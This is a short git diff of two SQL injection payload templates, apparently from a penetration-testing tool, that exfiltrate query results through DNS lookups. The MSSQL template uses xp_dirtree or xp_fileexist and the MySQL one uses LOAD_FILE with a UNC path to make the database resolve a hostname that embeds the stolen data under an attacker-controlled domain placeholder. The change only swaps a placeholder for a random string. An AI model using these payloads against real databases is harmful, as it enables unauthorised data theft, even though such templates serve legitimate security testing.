diff --git a/procs/mssqlserver/dns_request.txt b/procs/mssqlserver/dns_request.txt
index e8300b22e..a269c7e16 100644
--- a/procs/mssqlserver/dns_request.txt
+++ b/procs/mssqlserver/dns_request.txt
@@ -1,4 +1,4 @@
 DECLARE @host varchar(1024);
 SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%';
-EXEC('master..xp_dirtree "\\'+@host+'\%PREFIX%%SUFFIX%"')
-# or EXEC('master..xp_fileexist "\\'+@host+'\%PREFIX%%SUFFIX%"')
+EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"')
+# or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"')
diff --git a/procs/mysql/dns_request.txt b/procs/mysql/dns_request.txt
index ddce96d27..e32fc478d 100644
--- a/procs/mysql/dns_request.txt
+++ b/procs/mysql/dns_request.txt
@@ -1 +1 @@
-SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%PREFIX%%SUFFIX%'))
+SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%RANDSTR1%'))